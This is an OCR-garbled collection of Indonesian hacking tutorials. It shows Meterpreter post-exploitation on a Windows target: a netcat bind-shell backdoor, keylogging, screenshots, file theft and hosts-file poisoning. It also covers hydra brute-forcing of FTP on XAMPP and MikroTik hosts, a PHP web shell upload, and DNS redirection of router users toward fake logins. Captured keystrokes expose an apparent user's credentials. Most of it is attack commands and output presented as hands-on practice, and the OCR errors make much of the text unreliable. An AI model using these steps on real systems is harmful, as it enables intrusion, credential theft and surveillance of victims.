Oke, sekarang kita coba pasang backdoor dengan netcat, untuk pertama-tama kita copy
dulu nc.exe dari komputer kita ke komputer target melalui fitur upload yang ada di
meterpreter.

>>>upload -r c:/asa/nc.exe c:/xitam
[*] uploading : c:/asa/nc.exe -> c:/xitam
[*] upl oaded . c:/asa/nc.exe -> c:/xitam\nc. exe

Setelah diupload kita masuk gja ke shell.

>>>shel |

Process 1116 created.

Channel 15 created.

M crosoft Wndows XP [Version 5.1.2600]
(© Copyright 1985-2001 M crosoft Corp.

C\xitam >

Setelah kita sudah di shell, kita masukkan perintah dibawah ini untuk membuka port
7000 untuk mengakses cmd di komputer target lewat jaringan.

C\xitam >
>>>nc -l -p 7000 -e cnd. exe
nc -1 -p 7000 -e cnd. exe

Setelah itu kita masuk ke komputer kita, kita gunakan perintah seperti ini di komputer
kita.



BN Command Prompt - nc 192.168.1.39 7000

Microsoft Windows [Wersion 6.1.7Y6881]
Copyright <(c? 2887 Microsoft Covporation.

C:%Uzersracercdhaza

C:waszaxnc 192.168.1.3% 7604
Microzoft Windows XEP [Uerszion 5.1.26881

CC» Copyright 1985-20601 Microsoft Corp.

C:sxitami>ipoconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DHS Suffix
IP fAiddress.
Subnet Mask .
Default Gateway .

Cosxitami

i o |

All rights reserved.

192.16%8.1.3%9
255.255.250.8
192.168.1.1

Oke, kita lanjutkan.

Sekarang kita akan mencoba memasang keylogger di komputer target.

Pertama-tama kita tampilan proses di komputer target dengan Is.

>>>ps

Process |i st

PID Nane Arch Session User Pat h
0 [ Syst em Process]

4 System x86 0 NT AUTHORI TY\ SYSTEM

624  snss. exe x86 O NT AUTHORI TY\ SYSTEM

\ Syst enRoot \ Syst enB2\ snss. exe

696 CSr ss. exe x86 O NT AUTHORI TY\ SYSTEM

\ 2?2\ C: \ W NDOAS\ sy st enB82\ csrss. exe

720  winl ogon. exe x86 0 NT AUTHORI TY\ SYSTEM

\ 2?2\ C: \ W NDOAB\ sy st enBB2\ wi nl ogon. exe

764  services. exe x86 O NT AUTHORI TY\ SYSTEM

C.\ W NDOAB\ syst enB2\ servi ces. exe

776 | sass. exe x86 O NT AUTHORI TY\ SYSTEM

C.\ W NDOAB\ sy st enB2\ | sass. exe

936 DF5Serv. exe x86 0 NT AUTHORI TY\ SYSTEM C.\ Program

Fi | es\ Far oni cs\ Deep Freeze\lnstal |

972 svchost . exe x86 0 NT
C.\ W NDOAB\ syst enBB2\ svchost . exe
1068 svchost . exe x86 0 NT
C.\ W NDOAB\ sy st enB2\ svchost . exe
1152 svchost . exe x86 0 NT
C.\ W NDOAB\ Sy st enB2\ svchost . exe
1292 svchost . exe x 86 0 NT
C.\ W NDOAB\ sy st enBB2\ svchost . exe
1452 svchost . exe x 86 0 NT

C O\ DF5Ser v. exe

AUTHORI TY\ SYSTEM

AUTHORI TY\ NETWORK  SERVI CE

AUTHORI TY\ SYSTEM

AUTHORI TY\ NETWORK  SERVI CE

AUTHORI TY\ LOCAL SERVI CE




C.\ W NDOAB\ sy st enBB2\ svchost . exe

1532 explorer.exe x86 0 PC100\ dat a

C.\ W NDOAB\ Expl or er. EXE

1648 spool sv. exe x86 0 NT AUTHORI TY\ SYSTEM

C.\ W NDOAB\ sy st enB2\ spool sv. exe

1184 wscntfy. exe x86 0 PC100\ dat a

C.\ W NDOAB\ syst enB2\ wscnt fy. exe

1300 al g. exe x86 0 NT AUTHORI TY\ LOCAL SERVI CE
C.\ W NDOAB\ Syst enBB2\ al g. exe

1760 xiwi n32. exe x86 O PC100\ dat a

C\ X tam \ xi wi n32. exe

348 FrzSt at e2k. exe x86 0 NT AUTHORI TY\ SYSTEM C.\ Program
Fi | es\ Faroni cs\Deep Freeze\lnstal |l C O\_$Df\ FrzSt at e2k. exe

2032 cnd. exe x86 O PC100\ dat a

C.\ W NDOAB\ sy st enB2\ cnd. exe

Perhatikan diatas explorer.exe adadi PID 1532, di sini kita lakukan migrate ke PID 1532,
perintahnya:

>>>m grate 1532
[*] Mgrating to 1532...
[*] Mgration conpl eted successfully.

Setelah itu kita cek dengan perintah getpid untuk mengetahui hasil migrate kita tadi.

>>>get pi d
Current pid: 1532

Setelah sudah sesuai maka kita aktifkan keylogger di komputer target dengan perintah
keyscan_start.

>>>keyscan_st art
Starting the keystroke sniffer...

Untuk melihat hasil dari keylogger adalah :

>>>keyscan_dunp

Dunpi ng captured keystrokes...

backup password <Return> usernane : cew saturnus1987@ahooc <Back> . com
<Return> password : adaaj adeh <Return> <Return>

Binggo, hasil kitamenyadap apa yang diketikkan oleh target telah tampil diatas.

Sekarang kita coba tampilkan screenshoot dikomputer target dengan perintah sebagai
berikut

nmeterpreter > use espia
Loadi ng extension espia.. .
success.

kita jalankan screengrab

met er preter > screengrab
Screenshot saved to: C./Program Fil es/ Rapi d7/ franmewor k/ nsf 3/ eJPgTr hD. j peg


mailto:cew_saturnus1987@yahooc

Binggo hasil kita melakukan capture screenshoot komputer target telah disimpan di
komputer kita

Sekarang kita coba praktek mencari file ekstensi tertentu dengan meterpreter.

nmeterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.

OPTI ONS:

-d <opt> The directory/drive to begin searching from Leave enpty to search all drives.

(Default: )
-f <opt> The file pattern glob to search for. (e.g. *secret*.doc?)
-h Hel p Banner.

-r <opt> Recursivly search sub directories. (Default: true)

meterpreter > search -f *.jpg

Found 151 results...

c:\\ Docurents and Settings\A | Users\Docunments\M/ Pictures\Sanple Pictures\Blue hills.jpg
(28521 byt es)

c:\\ Docurents and Settings\A | Users\Docunments\M/ Pictures\Sanple Pictures\Sunset.jpg
(71189 bytes)

c:\\ Docurments and Settings\Al |l Users\Docunents\M/ Pictures\Sanple Pictures\Wter
lilies.jpg (83794 bytes)

c:\\ Docurents and Settings\A | Users\Docunments\M/ Pictures\Sanple Pictures\Wnter.jpg
(105542 byt es)

c:\\Program Fi | es\ Common Fil es\ M crosoft Shared\Stati onery\d ear Day Bkgrd.jpg (5675

byt es)

:\\ Program Fi | es\ Conmon Fil es\ M crosoft Shared\ Stationery\Fiesta Bkgrd.jpg (5048 byt es)
:\\ Program Fi | es\ Conmon Fil es\ M crosoft Shared\ Stationery\d aci er Bkgrd.jpg (2743 bytes)
:\\ Program Fi | es\ Conmon Fil es\ M crosoft Shared\ Stationery\Leaves Bkgrd.jpg (4389 bytes)
:\\ Program Fi | es\ Conmon Fil es\ M crosoft Shared\ Stationery\ NMai ze Bkgrd.jpg (11748 byt es)
:\\ Program Fi | es\ Conmon Fil es\ M crosoft Shared\ Stationery\Nature Bkgrd.jpg (3781 bytes)
:\\ Program Fi | es\ Conmon Fil es\M crosoft Shared\ Stationery\Pie Charts Bkgrd.jpg (2371
byt es)

c:\\Program Fi | es\ Common Fi |l es\ M crosoft Shared\ Stati onery\ Sunfl ower Bkgrd.jpg (17147
byt es)

c:\\ Program Fi | es\ Messenger\f ot or ahasi a. JPG (3263 byt es)

OO0 00

O

Kelebihan menggunakan search dari meterpreter maka search yang dilakukan mampu
menembus drive-drive di harddisk, beda dengan dir/s * .jpg yang dimanadijalankan di c:\
misalnya maka pencarian hanyamencari *.jpg di drive c sga

Kita coba praktekkan mengambil file fotorahasia. JPG, perintahnya adalah

neterpreter > download -r c:/progra~1/nessenger/ fotorahasia. JPG c:/asa
[*] downl oadi ng: c:/progra~1/ nessenger/fotorahasia. JPG - >
c:/asalfotorahasi a. IPG

[*] downl oaded : c:/progra~1/ nessenger/fotorahasia. JPG - >
c:/asalfotorahasi a. IPG

File fotorahasia.JPG telah tercopy ke c:\asa.

Kita coba-cobalagi perintah sederhana untuk alternatif selain pakai shell, kita masuk ke
c:\program files\messenger untuk menghapus file fotorahasia.JPG, langkah perintahnya
sebagal berikut



neterpreter > cd ,,
nmeterpreter > cd progra~1
nmeterpreter > cd nessenger
neterpreter > pwd

C.\ pr ogr a~1\ messenger

Setelah berada di c:\program files\messenger maka kita dapat tampilkan files didaamnya

neterpreter > |s

Li sti ng: C\progra~1\ nessenger

Mbde Si ze Type Last nodified Nane

40777/ 1 WXT WXT WX 0 dir 2011-11- 07 05:29:29 +0700

40555/ r - Xr - Xr - x 0 dir 2011-09- 17 20:36:28 +0700 ..

100666/ rw-rw rw 33792 fil 2008-04- 14 11:41:52 +0700 custsat.dll
100666/ rw-rwrw 3263 fil 2011-11- 07 05:27:50 +0700 fotorahasia.JPG
100444/ r--r--r-- 4821 fil 2007-04- 03 05:37:24 +0700 |ogow n.gif
100666/ rw-rwrw 7047 fil 2007-04- 03 12:37:24 +0700 |vback.gif
100666/ rw-rwrw 82944 fil 2008-04- 14 18:42: 00 +0700 nmsgsc.dl |
100666/ rw-rw rw 180224  fil 2008-04- 14 12:00: 30 +0700 nmsgslang.dl|
100777/ rwxrwxrwx 1695232 fil 2008-04- 14 18:42:30 +0700 nsNBQS. €XE
100666/ rw-rwrw 9306 fil 2001- 08- 23 20: 00: 00 +0700 newal ert . wav
100666/ rw-rwrw 18052 fil 2001- 08- 23 20:00: 00 +0700 newemail . wav
100666/ rw-rwrw 9306 fil 2001- 08- 23 20: 00: 00 +0700 onli ne. wav
100666/ rw-rw rw 4454 fil 2007-04- 03 12:37:28 +0700 type.wav
100666/ rw-rw rw 115981  fil 2007-04- 03 12:34:02 +0700 xpnsgr.chm

Kita perhatikan adafile fotorahahasia.JPG, untuk menghapusnya kita dapat
menggunakan rm.

neterpreter > rmfotorahasia. JPG

Hasilnya adalah setelah kita lakukan perintah diatas adalah :

neterpreter > |s

Li sti ng: C\progra~1\ nmessenger

Mbde Si ze Type Last nodified Nane

40777/ r WX WXT WX 0 dir 2011-11- 07 05:48:35 +0700

40555/ r - Xr - Xr - x 0 dir 2011-09- 17 20:36:28 +0700 ..

100666/ rw-rw rw 33792 fil 2008-04- 14 11:41:52 +0700 custsat.dll
100444/ r--r--r-- 4821 fil 2007-04- 03 05:37:24 +0700 |ogow n.gif
100666/ rw-rwrw 7047 fil 2007-04- 03 12:37:24 +0700 |vback.gif
100666/ rw-rwrw 82944 fil 2008-04- 14 18:42: 00 +0700 nmsgsc.dl |
100666/ rw-rw rw 180224  fil 2008-04- 14 12:00: 30 +0700 nsgsl ang.dl|
100777/ rwxrwxrwx 1695232 fil 2008-04- 14 18:42:30 +0700 nsNBQS. €XE
100666/ rw-rwrw 9306 fil 2001- 08- 23 20:00: 00 +0700 newal ert . wav
100666/ rw-rw rw 18052 fil 2001- 08- 23 20:00: 00 +0700 newemail . wav
100666/ rw-rwrw 9306 fil 2001- 08- 23 20: 00: 00 +0700 onli ne. wav
100666/ rw-rw rw 4454 fil 2007-04- 03 12:37:28 +0700 type.wav

100666/ rw-rw rw 115981  fil 2007-04- 03 12:34:02 +0700 xpnsgr.chm



Sekarang kita coba melakukan poisoning file hosts dimana kita bisa melakukan DNS
dalam windows untuk diarahkan ke alamat IP yang kita mau, yang bisa ditujukan banyak
hal, misal fake login facebook dan sebagainya.

neterpreter > cd /w ndows/systenB2/drivers/etc/
neterpreter > pwd
C.\wi ndows\ systenB2\drivers\etc

Setelah kita berada di C:\windows\system32\drivers\etc, kita menghapus file hosts
terlebih dahulu lalu kita upload file hosts yang baru.

neterpreter > upload -r c:/asa/hosts c:/wi ndows/ systenB2/dri vers/etc
[*] uploading : c:/asalhosts -> c:/wi ndows/systenB2/drivers/etc
[*] upl oaded : c:/asalhosts -> c:/wi ndows/systenB2/dri vers/etc\hosts

Setelah diupload maka anda dapat menguji dengan ping domain yang telah dimasukkan.
Sekarang kita coba melakukan mematikan proses di windows dengan perintah kill.
>>>ps

Process |i st

PID Nane Arch Session User Pat h
0 [ Syst em Process]

4 System x 86 0

624 SNBS. exe X 86 0 NT AUTHCRI TY\ SYSTEM

\ Syst enRoot \ Syst enB2\ snss. exe
696 CSrss. exe

720  winl ogon. exe x86 0 NT AUTHORI TY\ SYSTEM

\ 2?2\ C: \ W NDOAS\ sy st enBB2\ wi nl ogon. exe

764  services. exe x86 O NT AUTHORI TY\ SYSTEM

C.\ W NDOAB\ syst enBB2\ servi ces. exe

776 | sass. exe x86 O NT AUTHORI TY\ SYSTEM

C.\ W NDOAB\ sy st enB2\ | sass. exe

936 DF5Serv. exe x86 0 NT AUTHORI TY\ SYSTEM C:\ Progr am
Fi | es\ Far oni cs\ Deep Freeze\lnstall G O\DF5Serv. exe

972  svchost . exe x86 O NT AUTHORI TY\ SYSTEM

C.\ W NDOAB\ sy st enB2\ svchost . exe

1068 svchost . exe

1152 svchost . exe X 86 0 NT AUTHCRI TY\ SYSTEM
C.\ W NDOAB\ Sy st enB2\ svchost . exe

1292 svchost . exe

1452 svchost . exe

1532 explorer.exe x86 0 PC100\ dat a
C.\ W NDOAB\ Expl or er. EXE

1648 spool sv. exe x86 0 NT AUTHORI TY\ SYSTEM
C.\ W NDOAB\ sy st enBB2\ spool sv. exe

1184 wscntfy. exe x86 0 PC100\ dat a

C.\ W NDOAB\ syst enB2\ wscnt fy. exe
1300 al g. exe

348 FrzSt at e2k. exe x86 0 NT AUTHORI TY\ SYSTEM C.\ Progr am
Fi | es\ Faroni cs\Deep Freeze\lnstal |l C O\_$Df\ FrzSt at e2k. exe
2032 cnd. exe x86 O PC100\ dat a

C.\ W NDOAB\ sy st enB2\ cnd. exe
188 not epad. exe x86 0 PC100\ dat a



C.\ W NDOAB\ sy st enB2\ not epad. exe

1176 sc. exe x 86 0
C.\ W NDOAB\ sy st enB2\ sc. exe

1436 sc. exe x 86 0
C.\ W NDOAB\ sy st enBB2\ sc. exe

596 nsht a. exe x86 0
C.\ W NDOAS\ sy st enB2\ nsht a. exe
1556 nmmt. exe x 86 0
C.\ W NDOAB\ sy st enB2\ rmt. exe
1040 sc. exe x86 0
C.\ W NDOAB\ sy st enBB2\ sc. exe

336 | ogon. scr x86 0

C.\ W NDOAB\ Syst enB82\ | ogon. scr

Kita cobakill aplikasi cmd.exe

>>>ki || 2032
Killing: 2032
>>>ps

Process |i st

PID Nane Arch Session
0 [ Syst em Process]

4 System x 86 0

624 SNBS. exe x86 0

\ Syst enRoot \ Syst enB2\ snss. exe
696 CSrss. exe

720  winl ogon. exe x86 0

\ 2?2\ C: \ W NDOAB\ sy st enBB2\ wi nl ogon. exe
764  services. exe x86 0

C.\ W NDOAB\ syst enB2\ servi ces. exe

776 | sass. exe x86 0

C.\ W NDOAB\ sy st enB2\ | sass. exe

936 DF5Serv. exe x86 0

Fi | es\ Far oni cs\ Deep Freeze\lnstal |

972 svchost . exe X 86 0
C.\ W NDOAB\ sy st enBB2\ svchost . exe
1068 svchost . exe
1152 svchost . exe X 86 0
C.\ W NDOAB\ Sy st enB2\ svchost . exe
1292 svchost . exe
1452 svchost . exe

1532 explorer.exe x86 0
C.\ W NDOAB\ Expl or er. EXE

1648 spool sv. exe x86 0
C.\ W NDOAB\ sy st enB2\ spool sv. exe
1184 wscntfy. exe x86 0

C.\ W NDOAB\ syst enB2\ wscnt fy. exe
1300 al g. exe
348 FrzSt at e2k. exe x86 O

Fi | es\ Far oni cs\ Deep Freeze\lnstal |

188 not epad. exe x86 0
C.\ W NDOAB\ sy st enB2\ not epad. exe
1176 sc. exe x 86 0
C.\ W NDOAB\ sy st enB2\ sc. exe

1436 sc. exe x 86 0

C.\ W NDOAB\ sy st enBB2\ sc. exe
596 nsht a. exe x86 O

PC100\ dat a
PC100\ dat a
PC100\ dat a
PC100\ dat a
PC100\ dat a

PC100\ dat a

User Pat h

NT AUTHORI TY\ SYSTEM

NT AUTHORI TY\ SYSTEM
NT AUTHORI TY\ SYSTEM
NT AUTHORI TY\ SYSTEM

NT AUTHORI TY\ SYSTEM C.\ Progr am

C O\ DF5Ser v. exe

NT AUTHORI TY\ SYSTEM

NT AUTHORI TY\ SYSTEM

PC100\ dat a

NT AUTHORI TY\ SYSTEM

PC100\ dat a

NT AUTHORI TY\ SYSTEM C.\ Progr am

C 0\ _$Df\ FrzSt at e2k. exe

PC100\ dat a

PC100\ dat a

PC100\ dat a

PC100\ dat a



C.\ W NDOAB\ sy st enB2\ nsht a. exe
1556 nmt. exe x 86 0
C.\ W NDOAB\ sy st enB2\ rmt. exe

PC100\ dat a

1040 sc. exe x86 O PC100\ dat a
C.\ W NDOAB\ sy st enBB2\ sc. exe
336 | ogon. scr x86 0 PC100\ dat a

C.\ W NDOAB\ Sy st enB82\ | ogon. scr

Kitaperhatikan diatas, PID 2032, cmd.exe telah hilang dalam proses.

C:\windows\system32\drivers\etc>

Karenamasih banyak perintah-perintah meterpreter maka silahkan coba-coba sendiri ga,
untuk membantu anda ketik sgja help lalu enter untuk memandu anda menjalankan
meterpreter di metasploit framework.

>>>hel p

Cor e Commands

Command Description

? Hel p menu

backgr ound Backgrounds the current session

bgki I | Kills a background neterpreter script

bgl i st Li sts runni ng background scripts

bgrun Executes a neterpreter script as a background thread
channel Di splays information about active channels

cl ose d oses a channel

det ach Det ach the nmeterpreter session (for http/https)

di sabl e_uni code_encodi ng
enabl e_uni code_encodi ng
exit

Di sabl es encodi ng of unicode strings
Enabl es encodi ng of unicode strings
Term nate the nmeterpreter session

hel p Hel p menu

info Di splays informati on about a Post nodul e
i nteract Interacts with a channel

irb Drop into irb scripting node

| oad Load one or nore neterpreter extensions
mgrate Mgrate the server to anot her process
qui t Term nate the meterpreter session

read Reads data from a channel

resource Run the comands stored in a file

run Executes a neterpreter script or Post nodul e
use Deprecated alias for 'l oad'

wite Wites data to a channel

Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen

cd Change directory

del Del ete the specified file

downl oad Downl oad a file or directory

edit Edit a file

get | wd Print local working directory



getwd Print working directory

| cd Change | ocal working directory
| pwd Print local working directory
I's List files

nkdi r Make directory

pwd Print working directory

rm Del ete the specified file
rndir Renove directory

search Search for files

upl oad Upl oad a file or directory

St dapi : Networ ki ng Conmands

Command Description

i pconfig Display interfaces

portfwd Forward a | ocal port to a renote service
route View and nodify the routing table

St dapi : System Conmmands

Command Description

cl ear ev G ear the event |og

drop_t oken Rel i nqui shes any active inpersonation token.

execut e Execute a command

getpi d Get the current process identifier

getprivs Attenpt to enable all privileges available to the current process
getui d Get the user that the server is running as

kill Term nate a process

ps Li st runni ng processes

r eboot Reboots the renote conputer

reg Modify and interact with the renote registry

rev2sel f Cal | s RevertToSel f() on the renote machi ne

shel | Drop into a system command shel |

shut down Shuts down the renote conputer

steal _token Attenpts to steal an inpersonation token fromthe target process
sysi nfo Gets information about the renbte system such as CS

Stdapi: User interface Comrands

Command Descri ption

enundeskt ops Li st all accessibl e desktops and w ndow stati ons

get deskt op Get the current neterpreter desktop

idletime Returns the nunber of seconds the renote user has been idle

keyscan_dunp Dunp t he keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop  Stop capturing keystrokes

screenshot G ab a screenshot of the interactive desktop
set deskt op Change the neterpreters current desktop
uictl Control sone of the user interface conponents

St dapi : Webcam Commands




Command Description

record_mic Record audi o fromthe default m crophone for X seconds
webcam | i st Li st webcams

webcam snap  Take a snapshot fromthe specified webcam

Priv: El evate Conmmands

Command Description

get system Attenpt to elevate your privilege to that of | ocal system

Priv: Password database Commands

hashdunp Dunps the contents of the SAM dat abase

Priv: Timestonp Commands

Command Description

timestonp Mani pul ate file MACE attributes

Ji ka sudah bosan dengan bernain neterpreter naka dapat | angsung ke shell saja,
cukup nengeti kkan shell lalu enter.

neterpreter > shell

Process 1692 created.

Channel 7 created.

M crosoft Wndows XP [Version 5.1.2600]
(© Copyright 1985-2001 M crosoft Corp.

C.\wi ndows\ systenB2\ dri vers\etc>
Oke, sekian dulu, cayoooo.

Oleh Kurniawan - yk family code@yahoo.com
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Hacking hosting linux yang menggunakan XAMPP/
LAMPP salain lewat phpmyadmin

st Kt
HSTING LA

Hacking suatu web kadang kita tidak harus melakukan hacking selalu diawali dengan
menyerang webnya, hacking password phpmyadmin sudah ada di artikel yang penulis
tulis sebelumnyadimanadapat juga untuk hacking XAMPP / LAMPP di linux yang
mengakses databasenya dapat memanfaatkan phpmyadmin. Jika misalkan password
phpmyadmin tersebut tetap sgjatidak tembus apakah masih ada kemungkinan lewat cara
lain? ada, contohnya kita dapat melakukan serangan ke FTP untuk mendapatkan
username dan passwordnya, web server dapat digunakan sebagai alat mengeksekusi sgja,
seperti yang sudah diketahui FTP Server di linux sudah masuk dalam XAMPP/ LAMPP
itu sendiri yang akan otomatis jalan jika kita jalankan XAMPP/ LAMPP-nya, di sini
penulis contohkan teknik hacking dengan memanfaatkan FTP dengan dengan dictionary
attack.

Pertama-tama kita coba periksa port-port di komputer target yang terbuka sekaligus OS
yang digunakan.

C.\ Users\ Publ i c>nmap -A 180.254.98. 65

Starting Nmap 5.21 ( http://nmap.org ) at 2011-11-07 06: 14 SE Asia Standard
Ti me

Nmap scan report for vps-semarang.com (180.254. 98. 65)
Host is up (0.0034s | atency).
Not shown: 996 cl osed ports

PORT STATE SERVI CE VERSI ON
21/tcp open ftp ProFTPD 1.3.1
80/tcp open http Apache httpd 2.2.9 ((Unix) DAV 2 nod_ssl/2.2.9

QpenSSL/ 0


http://nmap.org

.9.8h PHP/5.2.6 nmod_apreq2-20051231/2.6.0 nod_perl/2.0.4 Perl/v5.10.0)
| _htm-title: Site doesn't have a title (text/htm).

| _http-favicon:

443/tcp open ssl/http Apache httpd 2.2.9 ((Unix) DAV/2 nod_ssl/2.2.9
OpenSSL/ 0

.9.8h PHP/5.2.6 nod_apreq2-20051231/2.6.0 nod_perl/2.0.4 Perl/v5.10.0)
| _sslv2: server still supports SSLv2

| _htm-title: Site doesn't have a title (text/htm).

| _http-favicon:

3306/ tcp open nysql MySQ. (unaut hori zed)

MAC Address: 08:00:27:31: 78: A4 (Cadnus Conput er Syst ens)

Device type: general purpose

Runni ng: Linux 2.6.X

G5 details: Linux 2.6.17 - 2.6.31

Net work Di stance: 1 hop

Service Info: OS Unix

Cs and Service detection perfornmed. Please report any incorrect results at
ht t p:

/I nmap. or g/ subm t/

Nmap done: 1 IP address (1 host up) scanned in 61.75 seconds

C.\ Users\ Publ i c>

Dari scanning dengan NMAP ternyata port 21 terbuka selain port 80 yang merupakan
service http untuk web server Apache. Sesuai topik kita akan mencoba melakukan
hacking dari sisi FTP Servernya menggunakan hydra.

C.\ Users\ Publ i c\ hydra\ hydra>hydra -m/ -L usernane.txt -P password.t xt
180.254.98.65 ftp

Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for |egal purposes.
Hydra (http://ww.thc.org) starting at 2011-11-07 06: 11: 39

[ DATA] 16 tasks, 1 servers, 96 login tries (1:6/p:16), ~6 tries per task

[ DATA] attacking service ftp on port 21

[21][ftp] host: 180.254.98. 65  ogin: |inux password: ubuntu

[ STATUS] attack finished for 180.254.98.65 (waiting for childs to finish)
Hydra (http://ww.thc.org) finished at 2011-11-07 06: 12: 11

C.\ User s\ Publ i c\ hydr a\ hydr a>

Binggo, ternyata username dan password didapat, oke langsung login sgja setelah
mendagpatkan akses FTP Server.

C.\ Users\ Publ i c\ hydra\ hydra>ftp 180.254. 98. 65
Connected to 180. 254. 98. 65.

220 ProFTPD 1.3.1 Server (ProFTPD) [180.254.98. 65]
User (180.254.98.65:(none)): |inux

331 Password required for |inux

Passwor d:

230 User linux logged in

ftp>

Dengan sudah login FTP maka anda dimungkinkan dapat melakukan deface di web
target, tapi jika ingin exploitasi lebih jauh tidak sekedar deface maka dapat melakukan
upload shell php, perintahnya.


http://www.thc.org
http://www.thc.org

ftp> get shel | xx. php

200 PORT command successf ul

150 Openi ng ASCII node data connection for shell xx. php (105630 bytes)
226 Transfer conplete

ftp: 105630 bytes received in 0,03Seconds 4062, 69Kbyt es/ sec.

ftp>

Oke dengan http://180.254.98.65/shellxx.php anda tentu tehu apayang terjadi. * "

sysch : inux 2.6.32-11-generic
$OSTYPE :

Server :

Oleh Kurniawan - yk family code@yahoo.com
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Hacking password Mikrotik secara langsung dengan
memanfaatkan titik terlemah

Tidak ada sistem yang aman 100%, karena begitu banyak kemungkinan jika kitamelihat
dari berbagai sisi, sebelumnya penulis menulis artikel untuk hacking mikrotik dari sisi
celah di telnet, tapi sebenarnya samabahayanya dengan telnet yaitu FTP.

Percobaan penulis melakukan serangan BF (brute force) pada http, telnet dan ssh
mengalami kegagalan, setelah termenung sekian lama ahkirnya penulis ingat serangan BF
pada FTP di waktu sebelumnya, ahkirnya penulis mencoba melakukan BF pada FTP dan
hasilnya ternyata bisa. Hmm username dan password untuk http, telnet, ssh, telnet adalah
sama, satu celah kenamaka semuakena, jadi? :)

Dari sisi kompatibilitas mikrotik dapat diancungi jempol tapi akibat dari banyaknya
kompatibilitas yang ada dapat membawa ancaman lebih besar, seperti padatelnet yang
penulis bahas dan praktek diartikel yang sebelumnya.

Oke, kitalangsung praktek sga, kita periksa port yang terbuka di mikrotik
C.\Docunents and Settings\serverdata>nnmap -A 192.168.1.174

Starting Nmap 5.21 ( http://nmap.org ) at 2011-11-07 15: 36 Pacific Standard
Ti me

Nmap scan report for 192.168.1.174
Host is up (0.00013s | atency).
Not shown: 993 cl osed ports

PORT STATE SERVI CE VERSI ON
21/tcp open ftp M kroTi k router ftpd 3.20
22/tcp open ssh penSSH 2.3.0 mkrotik 2.9 (protocol 1.99)

| _sshvl: Server supports SSHv1l

| ssh-hostkey: 1024 c6:5e:04: d3: 12: db: 1d: 98: ¢c9: 17: €2: 98: 77: d4: 39: ba (RSAl)
| _1024 76:68: bc: ee: e3: 40: f5: 6b: 72: ea: 44: 55: df : 86: 06: ec ( DSA)

23/tcp open telnet Li nux telnetd

80/tcp open http M kroTi k router http config


http://nmap.org

| _htm -title: mkrotik routeros > adm nistration

2000/ tcp open wi nbox M kroTi k W nBox managenent consol e
8080/ tcp open http-proxy Mkrotik http proxy

8291/ tcp open unknown

MAC Address: 08:00:27:22: 84: F1 (Cadnus Conput er Syst ens)
Device type: nedi a device

Runni ng: Chunby enbedded

CS detail s: Chunby Internet radio

Net work Di stance: 1 hop

Service I nfo: OS: Linux; Device: router

HOP RTT ADDRESS
1 0.13 ns 192.168.1.174

Cs and Service detection perforned. Please report any incorrect results at
ht t p:

/I nmap. or g/ subm t/ .

Nmap done: 1 IP address (1 host up) scanned in 170.00 seconds

Ternyata banyak port dan service yang terbuka di mikrotik. :D

Oketidak perlu berpanjang-panjang lebar lagi, kita langsung hack sgja mikrotik target.
C. \Docunents and Settings\serverdata>

H \ hydra>hydra -1 adm n -P kanus.txt 192.168.1.174 ftp

Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for |egal purposes.
Hydra (http://ww.thc.org) starting at 2011-11-07 14:39: 20

[ DATA] 16 tasks, 1 servers, 23 login tries (1:1/p:23), ~1 tries per task

[ DATA] attacking service ftp on port 21

[21][ftp] host: 192.168.1.174 |ogin: admn password: jagoan

[ STATUS] attack finished for 192.168.1.174 (waiting for childs to finish)
Hydra (http://ww.thc.org) finished at 2011-11-07 14: 39: 26

Binggo, password mikrotik sudah didapat, kita coba masuk lewat web.

M'-kro T'-k webbox 3.20 login:

wWinbox _________________________________Wwebbox |

v This 15 a web based
configuration interface for
RouterD=, Log in above to
connect to this router - some
of the most important
RouterDs features can be
controlled within this
interface,

Winbox 15 the graphical
configuration application for
RouterDs, Download it, ron it
and connect to your router -
all RouterCs functionality can
be controlled with this
application.,
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Saat login dan exploitasi yang dapat dilakukan.

Menghajar para penggunajaringan di mikrotik dengan mengarahkan DNS Servernyake
DNS Server milik kita, ya samalah tekniknya dengan teknik di artikel sebelumnyayang
penulis tulis untuk poisoning DNS para pengguna yang menggunakan DHCP router. :D

QE?P server is uﬁ:;

Enabled: ¥
Address range: (19216823 | - [1az.168.2.254 |

Gateway: Qlszieszi |
p——— I —.
Prirmiary DNS_-Serverq[ = |
Secondary DINS Server: LY

Interface. [stherz AN H
LY

[ Applyichanges  |[ Clearchages |
Y

\

Leases piisi dengan DHS Server milik kita
untuk berbagai fake login atau
untuk exploit untuk browser, dst

Simple Queues add

Mame Target-IP M_a:-:—_Limi’t Iqterfal:e
queuesl 192,168.2.3/24 odl/adl all. dis

Interface

Firgwall

_RegTable
Accesslist

Terbatas di web, pakai winbox sagja dan login pakai pakai password yang kita hack dari
FTP sebelumnyabiar lebih banyak option lagi, jika ingin mengganti password router
password mikrotik di winbox maka contohnyaklik saja password dan muncul form input
untuk password lama dan password baru.

b



¥ Hide Fasswords

Interfaces
"fv{il‘rélésé)
Eridge
Mesh
EEE
E.rid-'ge
P I
IPvE f:
MPLS

\.,rFiLg Sl BN Password El

OdPassword | | [ oK
_NewPajsgwurtH. | C:én'cel .

_':_I:_Qr]ﬁfm'F,és:syi\jDr.H?-, | |

"L M hddress List
B Fije List

| Creation Tirme

lE;ize .
11.3KE  Auwg/30/2011 00:50:53

Frotiting K
Parts

Qusues

o
Dirivers -

Systern s
F Héé:

Log

SNMP

sers.

Radiuz

Tooks f
I.’sl-eu; .T.erminal,
Telnet

A7.3ME of 101.0MB ysed  53% free.

PEI':S_:.SWEII'!:l
Certificates
Stores

Oke, sekian dulu, cayooo.
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Hacking passsword SSH Server di linux dengan
backtrack

— R —— e hr

TR E

:.r.-:tl.ﬁir-r.nna#tuuaaéa:'iauhuu

. ) KEEPING YOUR anuﬂuulnm SECRET

P

Keamanan SSH untuk remote memang cukup bagus karena pengiriman datanya
terenkripsi, berbeda dengan telnet yang tidak terenkripsi pengiriman datanya,walaupun
SSH sulit untuk di sniffing datanya maka bukan berarti secara hakekat pasti tidak
mungkin bisa dihack passwordnyaterlepas dari sniffing, di sini penulis akan mencoba
melakukan hacking password SSH server yang berada di bawah OS linux dengan
menggunakan Hydrayang ada di Backtrack 3.

Berikut prakteknya

